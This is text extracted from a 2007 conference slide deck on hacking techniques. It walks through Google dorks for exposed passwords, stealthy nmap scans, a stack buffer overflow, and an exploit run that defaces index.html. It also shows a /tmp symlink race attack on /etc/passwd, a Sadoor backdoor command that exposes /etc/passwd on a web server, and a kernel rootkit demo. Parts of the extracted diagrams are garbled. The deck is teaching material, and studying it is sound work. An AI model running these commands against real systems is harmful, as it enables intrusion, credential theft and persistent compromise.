Hacking Techniques
Hacking Techniques
by
Michael Hamm
Attackers Objectives
Hackers Challange, Status
Spies Political Gain
Terrorists Financial Gain
Insider Damage
Prof. Crimminaly
Vandals
Geek
Hackers
Script Kiddies
Stupid Users
-- Banks
-- Military
-- Universities
-- Telecom / internet Provide
Ins
the
De
Un
WL
Ha
ial
ck
au
us
ide
ft L
NA
ing
tho
of
r
ap
Se
ris
top
rvi
ed
ce
3. Gaining Access
➤ Dumpster Diving
Quotation Bill Gates in: Susan Lammers; Programmers at Work
Tempus Books; Reissue Edition, 1989
„No, the best way to prepare is to write programs, and to study
great programs that other people have written. In my case, I went
to the garbage cans at the Computer Science Centre and I fished
out listings of their operating system.“
domainname: linuxdays.lu
nserver: arthur.tudor.lu
nserver: dorado.tudor.lu
org-name: Centre de Recherche Public Henri Tudor
adm-email: [email protected]
tec-name: Xavier Detro
tec-email: [email protected]
➤ whois tools:
➤ footprinting @ google
➤ news group articles of employees @<targetdomain>
➤ search business partners link:<targetdomain>
➤ site:<targetdomain> intitle:index.of
➤ site:<targetdomain> error | warning
➤ site:<targetdomain> login | logon
➤ site:<targetdomain> username | userid
➤ site:<targetdomain> password
➤ site:<targetdomain> admin | administrator
➤ site:<targetdomain> inurl:backup | inurl:bak
➤ site:<targetdomain> intranet
The Beginnings:
www.theregister.co.uk/2001/11/28/the_google_attack_engine/
Link points to a Switch of a .gov Network
What to know:
Advanced Operands:
site:<domainname>
inurl:<path>
filetype:<xls|doc|pdf|mdb|ppt|rtf|…….>
intitle:<keyword>
intext:<keyword>
…
…
What to know:
What to find:
Examples:
-- inurl:php.bak mysql_connect mysql_select_db
-- ext:pwd inurl:(service | authors | administrators | users)
"# -FrontPage-“
-- "index of/" "ws_ftp.ini" "parent directory“
-- !Host=*.* intext:enc_UserPassword=* ext:pcf
-- "admin account info" filetype:log
-- enable password | secret "current configuration“
-intext:the
3. Gaining Access
$ su –
# ns_mumm
# cat /etc/resolve.conf
Port closed
SYN
RST/ACK
Port closed
SYN
RST/ACK
silent scan:
# nmap –n –sT –P0 –T sneaky –p 20-25,80 192.168.22.22
fragmentation scan
# nmap –n –P0 –f –p 20-25,80 192.168.22.22
decoy scan
# nmap –n -P0 –D 1.1.1.1,2.2.2.2,ME,3.3.3.3 –p 80 <host>
target perform:
# tcpdump –n –i eth0 host 192.168.4.<your IP Address>
Zombie
SYN;
Port=80; C K
N/A
SRC IP = <zombie> SY ID=6
ST; IP
R
Target
Zombie
SYN;
Port=80; T
RS
SRC IP = <zombie>
Target
automatic approach
# nc 192.168.22.22 22
# nc 192.168.22.22 80
HEAD / HTTP/1.0
# nc 192.168.22.21 21
# nc 192.168.22.21 80
HEAD / HTTP/1.0
OS Detection
# nmap –O 192.168.22.22,25
# xprobe2 192.168.22.22
# xprobe2 –p tcp:443:open 192.168.22.22
3. Gaining Access
How to proceed:
-- is there a known vulnerability
-- do we know a vulnerability
-- known configuration problems
-- default passwords
prepare attack
-- research on internet for known security holes
-- default passwords; common misconfigurations
-- setup a test environment to practice the attack
-- ideal: fire one single attack
➤ C/C++ problem
➤ programming error
➤ Copy to much variable user input into fixed sized buffer
#include <stdio.h>
int main()
{
char name[31];
printf("Please type your name: ");
gets(name);
printf("Hello, %s", name);
return 0;
}
Exploitation:
-- Missing bounds checking
-- Mutiple „unsafe“ functions in libc
-- Executing code in the data/stack segment
-- Creating the to be feed to the application
Heap
no ‘execution’ attribute set BSS
Data
‘read-only’ attribute Code
low address
Frame 1
void
function (void)
{
[ ... ]
} Frame 2 EBP
int POP
main (void)
{ ESP
int a; PUSH
function (argv[1])
[ ... ] EIP: Extended Instruction Pointer
} EBP: Extended Base Pointer
ESP: Extended Stack Pointer
void Stack
3 function (char *args)
{
4 char buff[512]; args
strcpy (buff, args); Return Address EIP
main ()
} SFP
Frame 1
saved registers
int local variables
1 main (int argc, char *argv[]) args
{ Return Address EIP
if (argc > 1) SFP EBP
function () saved registers
{ Frame 2
2 function (argv[1]); local variables
} else
printf ("no input\n"); buff[512]
ESP
return 0;
}
EIP: Extended Instruction Pointer
EBP: Extended Base Pointer
ESP: Extended Stack Pointer
01./02.02.2007 linuxdays.lu 2007 47
Gaining Access
-- Stack Based Buffer Overflow --
void Stack
3 function (char *args)
{
4 char buff[512]; args
5 strcpy (buff, args);
main () Return Address
} EBP
Frame 1
saved registers
int local variables
1 main (int argc, char *argv[]) args
{ Wrong Return
if (argc > 1) SFP
function () saved registers
{ Frame 2
2 function (argv[1]);
} else buff[512]
printf ("no input\n");
return 0;
}
void Stack
3 function (char *args)
{
4 char buff[512]; args
5 strcpy (buff, args);
main () Return Address
6 } EBP
Frame 1
saved registers
int local variables
1 main (int argc, char *argv[]) args
{ Wrong Return
if (argc > 1) SFP
function () saved registers
{ Frame 2
2 function (argv[1]);
} else buff[512]
printf ("no input\n");
return 0;
}
void Stack
3 function (char *args)
{
4 char buff[512];
5 strcpy (buff, args);
main ()
6 }
Frame 1
int
1 main (int argc, char *argv[]) 0x0A00
{ 0x0A00
if (argc > 1) 0x0A00
function () 0x0A00
{ Frame 2
function (argv[1]); shellcode
2 shellcode 0x0C00
} else
nop 0x0A00
printf ("no input\n");
nop 0x0800
return 0;
}
char linux_ia32_shellcode[]=
$ cd /home/hamm/ssl/
$ ls –la
$ ./openSSL 0x73 192.168.22.21 443 –c 40
/usr/bin/whoami
echo "hacked by me….. " > /var/www/html/index.html
3. Gaining Access
- privileged process
- Kernel
- password file
Source of problems?
- configuration error
- local software vulnerabilities
-- buffer overflow
-- race condition
-- format string
int
main (int argc, char *argv[])
{
char path[] = "/tmp/race.txt"
FILE *fp;
fclose (fp);
unlink (path);
return 0;
}
Attak:
$ ln –s /etc/passwd /tmp/race.txt
$ ls –la /tmp
$ cat command
$ ./command
$ ls –la /tmp
$ cat /etc/passwd
$ su – bimbam
# id
- Open Port?????
- no promisc mode, no open ports
- raw sockets
- trigger for special packets to get activated
- attacker:
-- send trigger pkg1
-- send trigger pkg2
-- send trigger pkg3
-- send command pkg1 Port 80, 443 open; statefull
- example: Sadoor
http://cmn.listptojects.darklab.org
# key 2
keypkt
{
ip {
daddr = 192.168.22.24;
saddr = 192.168.22.1;
tcp {
flags = SYN;
dport = 80;
sport = 3456;
}
}
}
# command
cmdpkt
{
ip {
daddr = 192.168.22.24;
saddr = 192.168.22.1;
tcp {
sport = 80;
sport = 12345;
}
}
}
mksadb
mv sadoor.db /var/www/html/
chmod 644 /var/www/html/sadoor.db
/usr/sbin/sadoor
Review logging
tail –f /etc/sadoor/sadoor.log
2. become root
cd
cd .sash
mv /home/hamm/sadoor.db .
sadbcat sadoor.db sash.db # create encrypted db
rm –f sadoor.db # delete plain sequence
3. Sending commands
sash 192.168.22.24 \
–vv –r "cat /etc/passwd > /var/www/html/test.txt"
sash 192.168.22.24 "chmod 644 /var/www/html/test.txt"
3. Gaining Access
- easy to discover:
-- by filesystem inegrity checker: -- tripwire, -- aide
- implementations:
-- new modules
-- infecting existing modules
execve(…
uname(…
brk(0)
old_mmap(…
access(…
open(…
open(…
…
…
- normal syscall:
parameter into
int 80
registers
Userland
Kernel
selection of the Interrupt handler: Exec syscall
interrupt handler syscall selection example: mkdir
- manipulated syscall:
parameter into
int 80
registers
Userland
Kernel
selection of the Interrupt handler: Exec syscall
interrupt handler syscall selection Execmkdir
example: syscall
manipluated: mkdir
cd /root/rootkit/mkdir
gcc –c –I /usr/src/linux/include mkdir.c
insmod mkdir.o
lsmod
mkdir test
ls –la
cat /var/log/messages
rmmod mkdir
lsmod
mkdir test
ls –la
mkdir /root/rootkit/bimbam
./ava h /root/rootkit/bimbam
ls –la /root/rootkit
./ava –U dummy
parameter into
int 80
registers
Userland
Kernel
selection of the Interrupt handler: Syscall
interrupt handler syscall selection
VFS
ext2/ ext3/ ...
Insider Attacks
Attacker:
IP: 192.168.3.2
MAC: 00:08:74:B3:BB:F1
IP: ___.___.___.___
MAC: __:__:__:__:__:__
Default Gateway:
IP: 192.168.3.1
DNS Server:
IP: 158.64.4.
Attacker:
IP: 192.168.3.2
Default Gateway:
IP: 192.168.3.1
DNS Server:
IP: 158.64.4.
Attacker:
IP: 192.168.3.2
by
Michael Hamm